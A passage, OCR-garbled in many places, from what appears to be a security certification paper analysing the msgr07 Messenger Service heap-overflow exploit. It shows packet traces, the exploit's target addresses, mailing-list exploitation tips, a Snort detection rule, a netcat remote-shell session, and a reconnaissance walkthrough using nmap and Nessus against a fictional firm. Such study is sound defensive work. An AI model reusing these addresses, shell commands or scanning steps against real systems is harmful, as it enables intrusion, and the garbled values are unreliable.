Type: ARP (Ox0B06)
Trailer: 00000000000000000000000000000000. ..
BaAddress Resolution Protocol C(replyd
Hardware twpe: Ethernet (0x00012
Protocel tywpe: IP (0x0B00D
Hardware size: &
Protocel size: 4
Opcode: reply (0x0002)
Sender MAC address: 00:0c:29:bf:38:de (vimware_bf:38:ded
Sender IP address: 192.168.1.3 (192.168.1.3>
Target MAC address: 00:0c:29:3e:23:46 (vmware_3e:23:462
Target IP address: 192.168.1.2 (192.168.1.2)

T

0000 00 Oc 29 3Je 23 46 00 Qc 29 bf 38 de 08 06 00 01
0010 0B 00 06 04 00 02 00 Oc 29 bf 38 de c0 aB 01 03
0020 00 Oc 29 3e 23 46 <D aB 01 02 00 Q0 00 00 00 0O
0030 00 Q0 00 00 00 Q0 00 OO0 Q0 OO0 QO QO

S |

Fittor:|[ /] Reset] Appiy[[File neteatattack

Figure 25

The first two packets (Figure 25) are the familiar ARP protocol request and reply. Now
the attacking host (192.168.1.3) has the MAC address of the target host (192.168.1.4)

_lolx
File Edit Capture Display Tools Help
MNo. . ‘Tlme |80urce ‘Srcpor‘t ‘Deatmahon ‘Destpod ‘Protocol ‘\mfo
0.000000 vmware_3e:23:46 Broadcast ARP who has 192.168.1.37 Tell 192.168.1.2
H 3] i t

4 0.005560 192. .1.3 1.2 Ack=3441773469 wi Le

5 0.517533 192.168.1.2 1036 192.168.1.3 9191 TCP [SvN] Seq=3441773468 Ack=0 wWin=16384 Len=0
6 0.518147 192.168.1.3 9191 192.168.1.2 1036 TCP [RST, ACK] Seq=0 Ack=3441773469 win=0 Len=0
7 0.946952 192.168.1.2 1036 192.168.1.3 9191 TCR [SVN] Seq=3441773468 Ack=0 win=163i84 Len=0
8 0.947663 192.168.1.3 9191 192.168.1.2 1036 TCP [rRST, ACK] seq=0 Ack=3441773469 win=0 Len=0

EBFrame 3 (62 bytes on wire, 62 bytes captured) -~
BEthsrnet II, Src: 00:0c:29:3e:23:46, Dst: 00:0c:29:bf:38:de
Destination: 00:0c:29:bf:38:de (vmware_bf:38:ded
Source: 00:0c:29:3e2:23:46 (wmware_3e:23:462
Type: IP (0x0800)
B Internet Protocol, Src addr: 192.168.1.2 (192.168.1.23, Dst addr: 192.168.1.3 (1€2.168.1.3)
version: 4
Header length: 20 bytes
moifferentiated Services Field: 0x00 (DsScp Ox00: Default; ECn: 0x00)
Total Length: 48
Identification: 0x0040
BFlags: 0x04
Fragment offset: O
Time to Tiwve: 128
Protocol: TCP (0x06)
Header checksum: 0x7732 (correct)
Source: 192.168.1.2 (192.168.1.2)
Destination: 192Z.168.1.3 (192.168.1.3)
EBTransmission Control Protocol, Src Port: 1036 (1036), Dst Port: 9191 (9191), seq: 3441773468, Ack: 0, Len: O
Source port: 1036 (103863
Destination port: 9191 (9191>
Sequence number: 3441773468
Header length: 28 bytes
BFlags: 0x0002 (SvN)
window size: 16384
Checksum: 0x7fl4 (correct)
Hoptions: (8 bytes)

I
0000 0c 29 bf 38 de Oc 29 3e 23 46 08 00 43 00 L.J.8... Jx#F.LE =
0010 00 30 00 40 40 00 BO 06 77 32 <O aB 01 02 cO aB L0.@@. .. owl. 5
0020 01 03 04 Oc 23 o7 cd 25 4b 9c 00 00 00 Q0 70 02 FRTPIRE PO O P
0030 00 7f 14 00 00 02 04 05 b4 01 01 04 02 @.o..... ...
74
Filter: | j Resetl App\yHFl\e netcatattack
Figure 26

Packet 3 (Figure 26) is Netcat’s attempt to establish a TCP/IP session with target host
on port 9191. If the msgr07 exploit was successful, port 9191 should be listening for
this connection attempt.
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(@ netcatattack - Ethereal oy 85§

File Edit Capture Display Tools Help
Mo, . ‘Source ‘SrcPor‘t |Dest\nat\on |DestPort ‘Protocol ‘Info
Wiware_3e:23:46 Broadcast ARP who has 192.168.1.37 Tell 192.168.1.2
wmware_bf: 38:de wmware_3e:23:46 ARP 192.168.1.3 is at 00:0c:29:bf:38:de
192 1 TCP k=0

> 9191 3441773468

192

> 34 35 en

= ACK] Seq=0 Ack=3441773469 win=0 Len=0
TCP 1036 » 9191 [svN] Seq=3441773468 Ack=0 win=16384 Len=0
TCP 9191 = 1036 [RST, ACK] Seq=0 Ack=3441773469 win=0 Len=0

qal
192. .
192.168.1.
192.168.1.

5 3 5 i
.518147 192.168.1.3
. 946952 162.168.1.2
.947663 192.168.1.3

EFrame 4 (60 bytes on wire, 60 bytes captured)
B Ethernet II, Src: 00:0c:29:bf:38:de, Dst: 00:0c:29:3e:23:46
Destination: 00:0c:29:3e:23:46 (winware_3e:23:46)
Source: 00:0c:29:bf:38:de (wmware_bf:38:de)
Type: IP (0x0800)
Trailer: 000000000000
BInternet Protocol, Src Addr: 192.168.1.3 (192.168.1.3D, Dst Addr: 192.168.1.2 (192.168.1.22
wversion: 4
Header length: 20 bytes
BDifferentiated Services Field: 0Ox00 (DSCP O0x00: Default; ECN: Ox00)
Total Length: 40
Identification: O0x0010
®EFlags: 0x00
Fragment offset: O
Time to liwve: 128
Protecol: TCP (0x06)
Header checksum: Oxb76a (correct)
Source: 162.168.1.3 (192.168.1.3)
Destination: 192.168.1.2 (192.168.1.2)
BETransmission Control Protecol, Src Port: 9191 (9191), Dst Fort: 1036 (1036), Seq: 0, ack: 3441773469, Len: 0
Source port: 9191 (9191)
Destination port: 1036 (1036)
Sequence number: 0
Acknowledgement number: 3441773469
Header length: 20 bytes
EFlags: Ox0014 (RST, ACK)
window size: 0
Checksum: Oxebc4 (correct)

0000 00 Oc 29 3e 23 46 00 Oc 29 bf 3B de OB 00 45 OO G
0010 00 28 00 10 00 00 80 06 b7 6a c0 aB 01 03 cO aB Y G
0020 01 02 23 e7 04 Oc 00 00 00 00 cd 25 4b 9d 50 14 CoEL L

0030 00 00 eb <4 00 00 00 0O 00 00 0O 0O L.

[ — |

Filter:|[ A Reset| Apply|[ File: netcatattack

Figure 27

Packet 4 (Figure 27) is the response to the Netcat request to open a network session.
Port 9191 is not open, so TCP/IP sends a Reset (RST) packet to reject the request.
Netcat tries to open the connection two more times before giving up.

So something went wrong with the msgr07 exploit. It apparently did not properly trigger
the command shell code so Netcat could not connect and establish the remote
command prompt.

Was there any effect on the target host?
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System Tasks

View system infarmation
“Zh Add or remove programs
B Change a setting

Other Places End Program - My Computer B

N My Network Places
) My Documents

@ control Panel To retum to Windows and check the status of the
program, click Cancel

%, This program is not responding

f you choase to end the program immediately, you wil loss
iy d o end the program now, click End
Now.

e

s start T My Computer

Figure 28

As we see here (Figure 28), the target host is having problems. The system is unstable
and in effect, a Denial of Service attack has occurred.

To understand why the exploit did not work as advertised we need to dig a little deeper
into how buffer overruns work in general and how msgr07 executes its buffer overrun.

Stack vs. Heap Buffer Overruns

There are two basic types of buffer overruns as defined by Microsoft Developers
Network article “Avoiding Buffer Overruns” -
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/security/Security/avoiding buffer_overruns.asp:

Static buffer overruns

A static buffer overrun occurs when a buffer, which has been declared on the stack, is
written to with more data than it was allocated to hold. The less apparent versions of this
error occur when unverified user input data is copied directly to a static variable, causing
potential stack corruption.

Heap overruns

Heap overruns, like static buffer overruns, can lead to memory and stack corruption.
Because heap overruns occur in heap memory rather than on the stack, some people
consider them to be less able to cause serious problems; nevertheless, heap overruns
require real programming care and are just as able to allow system risks as static buffer
overruns.

The important difference is that stack memory for the Windows system is in a generally
known and fixed location (therefore a “static” buffer). It is easier for an exploit writer to
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develop an exploit that will work on multiple systems since it is easy to locate the
beginning of the stack and attack it with a buffer overrun.

On the other hand, Heap overruns work with dynamically allocated memory. This
means that the memory location for the Windows system heap is much more variable
depending on how Windows is configured, what software is loaded, and what service
packs and patches have been applied.

As we have seen, msgr07 is a heap buffer overrun exploit, so unless the target host is
setup very similar to the system Adik used to develop msgr07, the exploit will probably
not work. Notice the different memory locations used by msgr07 for XP and W2K from
Adik’s exploit code:

struct

{

char 0s[30];

DWORD SEH;

DWORD JMP;

} targetOS]] =

{
{
"Windows 2000 SP 3 (en)",
Ox77ee044c, // unhandledexceptionfilter pointer
0x768d693e // cryptsve.dll call [esi+48] 0x768d693e
}
{
"Windows XP SP 1 (en)",
0x77ed73b4,

0x7804bf52  //rpcrt4.dil call [edi+6c]

Both memory locations are different because of differences in heap memory. The
newest variant of this exploit (W2kFR) was coded for the French language version of
W2K. It uses yet another set of addresses.

Look at the following thread of emails between Adik (A) and some other exploit writers
(dhtm (ed) and winepair (w)) as Adik explains how msgrO7 works and some of the
problems he had with it.

(From SecurityFocus Vuln-Dev discussion list -
http://www. securityfocus.com/archive/82/343652/2003-11-03/2003-11-09/2)

Hello dhtm,
Thursday, November 6, 2003, 12:03:57 PM, you wrote:
ed> Ad ieAaéé 3 iijady 2003 4., 12:29:19:

A>> Hello wirepair,
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A>> Monday, November 3, 2003, 9:12:54 AM, you wrote:

w>>> |o all,

w>>> | was just curious if anyone has been able to get this to execute code. I've
been playing with it the last couple of days and I've

w>>> only managed to get invalid read attempts. I've narrowed it down to requiring
at least 584 0x14 characters (a length of 3992

w>>> appears

w>>> to be required to cause the exception). Placement within the buffer of the
0x14 characters does not seem to matter. Thanks for

w>>> any

w>>> information you can provide.

w>>> -wire

w>>> --

w>>> Vjsit Things From Another World for the best

w>>> comics, movies, toys, collectibles and more.

w>>> http.//www.tfaw.com/?qt=wmf

A>> my exploit for MS03-043 takes advantage of global SEH. | overwrote it

A>> with a pointer to my shellcode. make sure ur message body size is

A>> somewhere around 3656. works fine for win2k and winxp. btw u need to

A>> send packet 2 times on win2k, on winxp access violation exception is triggered
A>> only with 1 packet send. my exploit executes successfully but its not

A>> 100% reliable. try experimenting with message size. u might get

A>> different results

ed> Do you mean the "final" exception handler (which is usually set by
ed> SetUnhandledExceptionFilter) or per-thread handler at fs:[0] ?

By global SEH i meant UnhandledExceptionFilter. U can overwrite per

thread handler at fs:[0] in stack overflows, but usually in heap

overflows its useless.

ed> is that it's usually not easy to locate you shellcode in memory (like

ed> in stack-based overflows). How do you overcome this difficulty ?

try searching for pointer to ur shellcode in the stack, if u lucky u might find one

Best regards,
Adik mailto:netninja hotmail kg

Even though our target host (XP SP1) matched the description of the host Adik tested,
there must have been enough of a difference in our system’s heap memory to cause the
shell code not to load. We do know that memory was overwritten by msgr07, because
our target host did become unstable.
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Signatures of the Attack

As we have seen from our Ethereal packet traces, msgr07 should be easy to spot with a
network intrusion detection system. There are several things we could look for in
network packets as they come into our network.

1. UDP packets addressed to port 135 (epmap) using the DCERPC protocol
-plus-

2. The string “ADIK” or “NETMANIC” in the packet (although these strings could be
changed in the source code and the program recompiled)

-plus-

3. The sure give-a-way - a series of 0x14 characters (Ctrl-T’s). Seeing more than two or
three of these characters in a row in a packet would be highly unlikely in legitimate
network traffic.

The following Snort signature was developed by Mike Pomraning and shared on a Snort
discussion list (http://copilotconsulting.com/mail-archives/snort-users.2003/10541.html).
Let’s look at the signature and our attack packets and see what Mike is doing to detect
Messenger Service attacks.

From: Mike Pomraning (mjp-snortsigs_at_securepipe.com)
Date: Mon Oct 20 2003 - 15:37:35 PDT

alert udp any any -> any 135 (

msg:"EXPLOIT MS Messenger Buffer Overflow";

content:"04 00 28 00"; depth: 0;

content:"|14 14 14 14 14 14 14 14 14 14 14 14 14|";

classtype:attempted-admin;
reference:url, www.microsoft.com/technet/treeview/default.asp ?url=/technet/security/bulle
tin/MS03-043.asp;

reference:url, www.cert.org/advisories/CA-2003-27.htmi;

sid:?7?;

rev:1;
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@ msgrO4attack - Ethereal |

File Edit Capture Display Tools Help
No. . SrcPort [Destination DestPort |Protocol [Info
1 97.168.1.2 1032 192 53,13 o g seq 0 opnum: O
2 0.000645 1 £68.1.2 192.168.1.3 IP Fragmented IP protocol (proto=uDP 0x1l, off=1480)
30.000992 192.168.1.2 192.168.1.3 IrP Fragmented IF protocel (proto=UDP 0Ox11, off=29603

EFrame 1 (1514 bytes on wire, 1514 bytes captured)

BEthernet II, Src: 00:0c:29:3e:23:46, Dst: 00:0c:29:bf:3B8:de

B Internet Protocol, Src Addr: 192.168.1.2 (192.168.1.2), Dst Addr: 192.168.1.3 (192.168.1.3)
B User Datagram Protocol, sSrc Port: 1032 (1032), Dst Port: epmap (1352

= DCE

¥ on: 4
P type: Request (0D
BFlagsl: 0x28
BFlags2: 0x00
BData Representation: 100000
serial High: 0x00
Object wUID: 00000000-0000-0000-0000-000000000000
Interface: 5a7b91fE-fF00-11d0-a9b2-00c04fbbebfc
Activity: Ifdbibbe-6942-68731-6b65-6b32303033FF
Server boot time: 0x00000000
Interface ver:
Sequence num: 0
Oprum: 0
Interface Hint: Oxffff
Activity Hint: OxFFFf
Fragment len: 3656
Fragment num: 0O
Auth proto: None ({02
serial Low: 0x00
Stub data (1392 bytes)

ooz a.
0050 eb fc 6e 5b db 3IF 42 69 73 68 6b 65 6b 32 30 30 ..n[.7B7 shkek200
3

!;Mﬂte‘rﬂ ‘ = — j Reaet| Apply[[version (dcerpe ver), 1 byte

Figure 29

The first thing Mike does is look for UDP packets directed to port 135. Then he looks
into the contents of the packet to see if it is a DECRPC protocol packet. He does this
by looking for the sequence of hex characters “04 00 28 00". Looking at our Ethereal
display (Figure 29) we see that these characters indicate the DCERPC version (4), the
packet type (Request (0)), and flags 1 and 2 (28 00). This should be enough unique
information to indicate that this is a DCERPC packet. Next Mike looks for a series of
0x14 characters in the packet.
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[£] msgrO4attack - Ethereal | i[

File Edit Capture Display Tools Help

|No g ‘Tlme |Source |SrcPort |Destmat\on |De§tPort |Protoco\ |\nfo ‘
1 s 19 .

epmap

DCERPC  Request: seq_num: 0O opnum [¥]

00645 19 b8. 1.7 192 ] col [ 0 f=
00992 192.168.1.72 192. 168 Fragmented IP protocol (proto UDP Oxll OFF 2960)

3

=

BFrame 2 (1514 bywtes on wire, 1514 bytes captured)
BEthernet II, Src: 00:0c:29: 3e 23:46, Dst: 00:0c:29:bf:38:de
B Internet ProtocoW Src Addr: 192.168.1.2 (192.168.1. 23, Dst Addr: 192.168.1.3 (192.168.1.3)
version: 4
Header Tlength: 20 bytes
BDifferentiated Services Field: 0Ox00 (DSCP 0Ox00: Default; ECN: 0x0D0)
Total Length: 1500
Identification: 0xQ0Lf
BFlags: 0«02
Fragment offset: 1480
Time to liwve: 128
Protocol: UDP (0x11)
Header checksum: 0x90e3 (correct)
Source: 192.168.1.2 (192.168.1.2)
Destination: 192.168.1.3 (192.168.1.3)
Data (1480 bytes)

=]
]
e
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-
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s
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.
=

é&e;| — _— Ad Resq|ApmyHFne.msgﬁ4aﬁack

Figure 30

Here (Figure 30) we see that there are plenty of 0x14 characters to trigger the Snort
rule.

Note: Even though the 0x14 characters occur in a separate IP fragment, Snort sees the
complete packet reconstructed from any fragments.

See “Chapter 2 - Writing Snort Rules - How to Write Snort Rules and Keep Your Sanity”
(www.snort.org/docs/writing_rules/chap2.html) for a good explanation of Snort
signatures.

Additional Snort signatures for the Messenger Service vulnerability are available from
the Snort web site.

http://www.snort.org/snort-db/sid.html?sid=2257

http://www.snort.org/snort-db/sid.html?sid=2258

What other ways could we tell if a host was being attacked by msgr07? Since a
successful attack by msgr07 opens a connection listening on port 9191 for a Netcat
connection, we could look for that open port. (Note - msgr07 source code could be
modified to use a different port.)

Let’s run netstat -a (command to list open ports) on our compromised host to see if port

9191 is open.
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Note - Since msgr07 was not successful on my test system, this section is being
simulated using equivalent Netcat commands.

e+ Command Prompt

C:wattackXnetstat —a

Active Connections

Proto Local Address Foreign Address Sta

TCFE »xpuks tepmap wpuks

TCFE " microsoft—ds wpuks

TCFE " 1825 wpuks

TCFE " Lapa wpuks

TICFE " 19191 wpuks
s

unp " epmap

UDF " icrosoft—ds
uDp

uDp

uDp

uDp

uDp

unp »xpuks intp

uDp »xpuks 17808

FEERXEEER]
KKk kKKK K X

C:vattack>

.GIACBikes.local:@

.GIACBikes.local:@

.GIACBikes.local:@

.GIACBikes.local:@

.GIACBikes.local:8

Figure 31

Here (Figure 31) we see a TCP port on Local Address xpwks:9191 is LISTENING. That
means that this system may have been compromised and is waiting for the Netcat
command to establish a remote command shell. To be sure, let’s run fport (a free utility
from FoundStone that maps running processes to ports - www.foundstone.com).

mmand Prompt

C:wAttack>fport

FPort v2.8 — TCPAIP Process to Port Mapper

Copyright 2880 by Foundstone. Inc.
http: v . foundstone.com

Process Port Proto

suchost -» 135 TCP

System —» 445 TGP

svchost —-» 1825 TCP
-> 5B8da

nc -> 9171

System 123
svchost
Sustem
suchost

nc

System
System

C=“Attack>

Path

C=sUINDOWSssystem32ssuvchost.
C:sWINDOUS Systemd2-suvchost.

C:wAttacksnc.exe

C:sWINDOUWS systemd2-suchost.

C=~UWINDOWE~System32xsuchost.

C:wAttacksnc.exe

Figure 32

We see (Figure 32) that port 9191 is associated with nc.exe which is the Netcat

executable.

Let’s attempt to connect to the Netcat session listening on port 9191 and run netstat -a

again to see if a session is established.
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e+ Command Prompt

unp xpuwksintp
une wxpuwks =198A0

I3
EE

C:wattack’netstat —-a
Active Connections

Local Address Foreign Address
xpwks epmap xpwks .GIACBikes .
xpwks microsoft—ds xpwks .GIACBikes .
xpuwks = xpwks .GIACBikes .
xpuks = xpuwks .GIACBikes .
xpuks = xpwks _.GIACBikes .
xpuks: 192 _168.1.2:1843
sxpuks = 2

»xpukes =

»xpuks =
»xpuwks =
wxpuwks =
wxpuwks =
wxpuwks =

FEREEREXX
KKK KKK K X

C:wattack>

Figure 33

We now see (Figure 33) our victim host (192.168.1.3) has a connection established on
port 9191 from the attacker host (192.168.1.2)

ommand Prompt - nc -vvw 192.168.1.3 9191

C=wattack>nc —vwu 192.168.1.3 7191
192 _168.1.3: inverse host lookup failed: h_errno 11884: HO_DATA
CUNKNOWN> [192.168.1.31 9191 <(?> open
i i #P [Version 5.1.2608081
(G> Copyright 1985-20@1 Microsoft Corp.

C:sattackripconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNE Suffix . :

IPF Address. . . . - - - - =« - - - & 192.168.1.3
Subnet Maszk - 255 _255.255.8
Default Gateway D 192.168.1.1

C:nattackry

Figure 34

Here (Figure 34) we see the Netcat command used to establish the remote shell from
our attacking host. Netcat sees that port 9191 is open, makes a connection, and the
remote command shell is executed. The ipconfig command executed in the remote
command shell proves that we are indeed connected to the victim host at 192.168.1.3.
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So using netstat or an equivalent command to monitor ports being used on the system
is a good way to detect msgrO7.

Since successful execution of msgr07 gives the attacker a command prompt with
LocalSystem privileges, the attacker could install any number of other malware on the
target system. Running system integrity checkers like Windows File Protection
(described later) or TripWire would be another good step to detect if a system has been
compromised.
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The Platforms/Environments

Note: All systems and networks used in this paper were setup using two laptop
computers, a Cisco PIX 501 firewall, a four port hub, Linux and Windows operating
systems, and VMWare software. See Extras for more information about VMWare.

Victim’s Platform

GIACBikes is a small business that designs and manufactures performance bicycles for
professional racers and bicycle enthusiasts. GIACBikes maintains an Internet presence
through its web site (www.giacbikes.com) and communicates with customers, suppliers,
and distributors using email.

The victim’s platform consists of one Microsoft Small Business Server 2003 server and
several Microsoft XP Workstation machines. Major software running on the SBS 2003
server includes IIS 6.0 and Exchange Server 6.5 Standard Edition. This server is also
the Active Directory domain controller for the GIACBikes domain. This server provides
DHCP and DNS service for the GIACBikes domain.

Advanced I Automatic pdates I Remate
Computer Mame I Hardware
Syztem;
Microzoft Windows Server 2003
'l for Small Business Server
o Reqiztered to:
T— GlACEikes
GlACEikes
74595-352-07 761 25-42581
Computer;

Mobile IntellR] Pentium(R)
4-M CPU 2 40GHz
239 GHz
384 MB af Rak

0K I Cancel | Apply |

Figure 35

The system properties (Figure 35) show the SBS 2003 server has a 2.4 GHz processor
and 384 MB of RAM.
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o keyboards
I ~) Mice and other pointing devices
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i L EE AMD PCMET Family PCI Ethernet Adapker
¢ L-HE AMD PCMET Family PCI Ethernet Adapker #2
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E ﬂ Processors
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@ Sound, video and game controllers
} System devices

Figure 36

Device manager (Figure 36) for the server shows one disk drive in use and that the
server has two network interface cards (NICs). One NIC is for the network connection
to the Internet and the other NIC is for the network connection to the internal network.

The XP workstation computers run XP with service pack 1 and Microsoft Office 2003.
AutoCad is used for design work. Each workstation has 256 MB of memory and a 2.4

GHz processor.

Source Network

The source (attack) network (Figure 37) consists of two workstations connected to the

Internet through an ISP provided cable modem (IP - 10.1.2.1, subnet mask

255.255.255.0). The workstations are Windows XP with service pack 1 (10.1.2.5) and

RedHat Linux 8.0 (10.1.2.10). Both workstation run TCP/IP.

Target Network

The target network (Figure 37) is an Ethernet network running TCP/IP with NetBIOS
over TCP/IP enabled. The SBS2003 server acts as router/firewall for the network. SBS
2003 includes Internet Connection Firewall (ICF). We will see how ICF is configured
during SBS installation in a later section of this paper. The internal (inside) network
uses the 192.168.1 subnet with a mask of 255.255.255.0. The Internet (outside)
network uses the 10.1.1 subnet with mask of 255.255.255.0. There is no intrusion

detection system on the GIACBikes network.
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Network Diagram

=

XPWKS1 - 192.168.1.3

_ . =

ISP Cable b XPWKS2 - 192.168.1.4
Modem/Router
10.1.2.1

- SBS 2003
i Outside Interface -
HACKER-RH - 10.1.2.10 10.1.1.2 ;|

Inside Interface -
192.168.1.2 XPWKS3 - 192.168.1.5

Attack Nework GIACBikes.com
(target network)

Figure 37
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Stages of the Attack

Attack Scenario

The attack against GIACBikes is a targeted attack by a competing bicycle company
(BADBikes) located in a foreign country. The attack is carried out by a first year college
student studying computer science. He has limited networking experience and he has
greatly exaggerated his hacking skills to his classmates. Based on his reputation, the
student is hired by the president of BADBikes to accomplish two objectives. One, if
possible, break into GIACBikes computers and steal confidential information such as
new bike designs, marketing plans, and customer lists. Two, disable the GIACBikes
web site during the upcoming holiday buying season.

Reconnaissance

Our student hacker begins his reconnaissance by going to www.giacbikes.com to see if
any interesting information about the company is available on the web site. Besides a
phone number (865-555-BIKE) and an email address (ask@giacbikes.com) for
customer service, he finds no useful information about the GIACBikes network.

Next, he performs a trace route (tracert) command on his computer to
www.giacbikes.com. The tracert utility uses a series of Internet Control Message
Protocol (ICMP) ping packets to reveal the network route taken to the destination host.
It shows IP addresses and attempts to resolve host names of each network “hop”
(network packet movement from one router to another).

C:\>tracert www.giacbikes.com

Tracing route to www.giacbikes.com [10.1.1.2]
over a maximum of 30 hops:

1 <1ms <1ms <1ms foreign-isp-router1[10.1.2.1]
. various intermediate jumps through Internet routers skipped

' 5 <1ms <1ms <1ms local-isp-router [10.1.1.1]
6 <1ms <1ms <1ms shs2003.giacbikes.com [10.1.1.2]

Trace complete.
C:\>
Note: Text bolded by author to point out important information.

This trace gives our hacker the information he needs to proceed to the next step. He
knows that the server that hosts the GIACBikes web site has an IP address of 10.1.1.2.
He thinks that the server name, sbs2003, may have some meaning, but that needs
further investigation.

Next, he checks the GIACBikes server |IP address against the ARIN WHOIS Database.

The American Registry for Internet Names (ARIN — www.arin.net) database is a
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collection of contact and registration information for Internet domain names registered
with ARIN. WHOIS is a utility that queries the database based on domain name or IP
address. In this case, our hacker simply uses the ARIN web site (Figure 38) to submit
his query. The main purpose of this step is to find if any other IP addresses are uses by
GIACBikes.

3 ARIN: WHOIS Database Search - Microsoft Internet Explorer provided by T¥A IE 6. ;lglll

File Edit Wiew Favorites Tools Help m

J Back - O - \ﬂ \ELI ;\J | /'__ ) search \::\;» Favorites @ Media 6? - \. = d -
Address Iﬁj ikt {frvo  arin, net fwhoisf j a Go | Links **
Google - Iwhois j | 55 Search web  ~ @Y Search Site | b | & - Ehzranblocked | [ options RO e

-

ARIN WHOIS Database Search

ARIM Home Page  ARIM Site Map  ARIN YWHOIS Help

Search for : [10.1.1.2 Submit Query

ARIM's WHOIS service provides a mechanism for finding contact and registration information for resources
reqgistered with ARIM. ARIN's database contains IP addresses, autonormous system (AS) numbers,
organizations or customers that are associated with these resources, and related Points of Contact (POCS).

ARIM's WHOIS will NOT locate any domain-related information, or any information relating to military networks.
Please use whois.internic.net to locate domain information, and whois.nic.mil for military network information.

Many operating systems provide a WHOIS utility, To conduct a query from the command ling, the format is:
whois -h hostname identifier e.qg. whois -h whois.arin.net <query string=

To obtain a more specific response, you may conduct a search by using certain flags. Many of these flags can
be combined to indicate the desired output. Flags must be separated from each other and from the search
term by a space. Your results will vary depending on the refinements you apply in your search. Listed below
are the flags currently available; you may only use one flag from each flag-type in a query {i.e. one record
type, one attribute, etc.).

& - - I_ I_I_ |4 tnkernet
Figure 38

a

The following is the results of the ARIN search...

OrgName: GIACBikes, Inc.
OrglD:  GIACBIKES
Address: 100 Main St

City: Anytown

StateProv: NY

PostalCode: 11111

Country: US

NetRange: 10.1.0.0-10.1.1.0
NetName: LOCAL-ISP

NetHandle: NET-10-1-0-0

Parent:. NET-10-1-0-0-0

NetType: Reassigned

NameServer: SBS2003.GIACBIKES.COM
Comment:

RegDate: 2003-08-28
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Updated: 2003-08-28

TechHandle: JEP55-ARIN

TechName: PAULY, JOE

TechPhone: +1-555-555-5555

TechEmail: JOEPAULY@GIACBIKES.COM

# ARIN WHOIS database, last updated 2003-12-20 19:15
# Enter ? for additional hints on searching ARIN's WHOIS database.

It looks like GIACBikes only uses the 10.1.1.2 address and it is an address assigned
from an ISP. An additional piece of information from the whois lookup is that SBS2003
is also the DNS server for GIACBikes.

At this point in the attack against GIACBikes, all activity is normal network traffic that
would not be detected as anything unusual at GIACBikes or the ISP used by
GIACBikes.

Scanning

Using the latest version of nmap (3.48), our hacker scans IP address 10.1.1.2. This
version of nmap has a new capability. It can not only do OS finger printing, but it can
also finger print and identify running services. See Nmap ("Network Mapper") -
http://www.insecure.org/nmap/ for more information about nmap.

C:A\nmap>nmap -0 -sV 10.1.1.2

Starting nmap 3.48 ( http://www.insecure.org/nmap ) at 2003-12-19 15:56 Eastern
Standard Time

Warning: OS detection will be MUCH less reliable because we did not find at lea
st 1 open and 1 closed TCP port

Interesting ports on 10.1.1.2:

(The 1653 ports scanned but not shown below are in state: filtered)

PORT STATE SERVICE VERSION

25/tcp open smip Microsoft ESMTP 6.0.3790.0

80/tcp open http Microsoft IIS webserver 6.0

443/tcp open ssl Microsoft IS SSL

1723/tcp open pptp?

Device type: general purpose

Running: Microsoft Windows 2003/.NET|NT/2K/XP

OS details: Microsoft Windows Server 2003 Enterprise Edition, Microsoft Windows
2000 SP3

Nmap run completed -- 1 IP address (1 host up) scanned in 233.947 seconds
C:A\nmap>

Note: Text bolded by author to point out important information.
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This nmap scan gives our hacker several good pieces of information. First, the -O
nmap option (OS identification) has indicated that this is a Microsoft Windows Server
2003 Enterprise Edition server or a Windows 2000 SP3 server. Judging by the server
name from the trace route (SBS2003), it is likely this is Sever 2003. Of course, it could
also be a Windows 2000 system that was installed in 2003. Secondly, the nmap -sV
option has identified open ports and the version of the software listening on those ports.
Discovery of Simple Mail Transfer Protocol (SMTP) using Microsoft ESMTP indicates
that this server is probably running Microsoft's Exchange email server. Port 80 and port
443 running Microsoft IIS indicate a web server. 1IS 6.0 is the latest version, so our
hacker has further reason to think SBS2003 is running Windows 2003 server. A quick
search at Microsoft’'s TechNet website of the pptp protocol running on port 1723 shows
that Point-to-Point-Tunneling-Protocol (PPTP) is used for Microsoft Virtual Private
Networking (VPN) connections to the server.

Next, our hacker switches to his Linux system to run Nessus (http://www.nessus.org/).
Nessus is a free open source vulnerability scanner that should help him find any
problems with GIACBikes server that could be exploited. After starting the Nessus
daemon using the “nessusd -D” command, he types “nessus” to bring up the Nessus
graphical interface (Figure 39).

hd Nessus Setup

Messusd host | Plugins | Prefs. [ Scan options | Target seleciion |user | K | credits

Target selection

Targetis) : 1011.2 Read file...

[[] Perform a DNS zone transfer

[] Save this sesszion

[] save empty sessions

Previous sessions :

|Sessmn ITargets

| Restore session || Delete session |

i Start the scan | | Load report | | Cluit |

[

Figure 39

Our hacker points Nessus at the GIACBikes server (10.1.1.2) and hits the “Start the
scan” button.
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hd Nessus "NG" Report

‘ Subnet v| | Part v| | Severity v

A 1014 ¥ unknown (1723/tcp) dhy  Security Warning
i L ¢ smip (25Mcp) ®  Security Note

ittps

Host -

8 4 10112

The remote weh server type is
¢ Microzofi-I15/6.08

Solution : You can use urlscan to change reported server for 115,
The following directories were discovered

Jimages

The address in Content-Location is: 10.1.1.2

¢ CV¥E:CAMN-2000-0649

¢ Aweb server is running on this port

L

Save report | [ Close window |

=

Figure 40

The results (Figure 40) are not impressive. He basically gets the same information as
from his nmap scan. A little digging in the Nessus documentation reveals that Nessus
actually incorporates nmap scanning into the Nessus program.

Our hacker’s scanning sessions do bear some fruit. He knows that his target is most
likely a Microsoft Windows 2003 server and that it is exposed on the Internet for VPN,
email, and web applications.

If GIACBikes had been running an Intrusion Detection System, this scanning activity
could have been detected. GIACBIikes is running the default configuration of the basic
Internet Connection Firewall (ICF) provided with the Routing and Remote Access
service in SBS2003, but this firewall does very limited logging of events.
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Exploiting the System
From our hacker’s reconnaissance and scanning, he knows that GIACBikes is probably
running a Windows 2003 server and that ports 25 (email), 80, 443 (web), and 1723

(vpn) are open. Now he needs to find exploits that target Windows 2003.

To find his exploit, our hacker goes to ICAT (http://icat.nist.gov/icat.cfm). The ICAT web
site describes ICAT like this:

ICAT is a searchable index of information on computer vulnerabilities. It provides search
capability at a fine granularity and links users to vulnerability and patch information.

Our hacker enters the following search criteria into ICAT.

A ICAT Metabase: A CVE Based Vulnerability Database - Microsoft Internet Explorer

File Edit Wwiew Favorites

Help

eBack < _) |ﬂ @ _h /.__\J Search \;“\':(Favorites @Media -E‘B <] ~ :‘; = _J é% @ 'a

Address |§| httpe fficat. nist.govficat. cfmevendor_command=Micrasof teproduct _command=Windows%205ervers202003

Google - |icat v | @ searchweb - @ Searchsite | §2 6B - [ options - A& [Gicat

ICAT

M ETABASE

Welcome to ICAT!

Last updated:
12/15/03

[ ’9& ¥
Your CVE Vulnerability Search Engine B . PSR
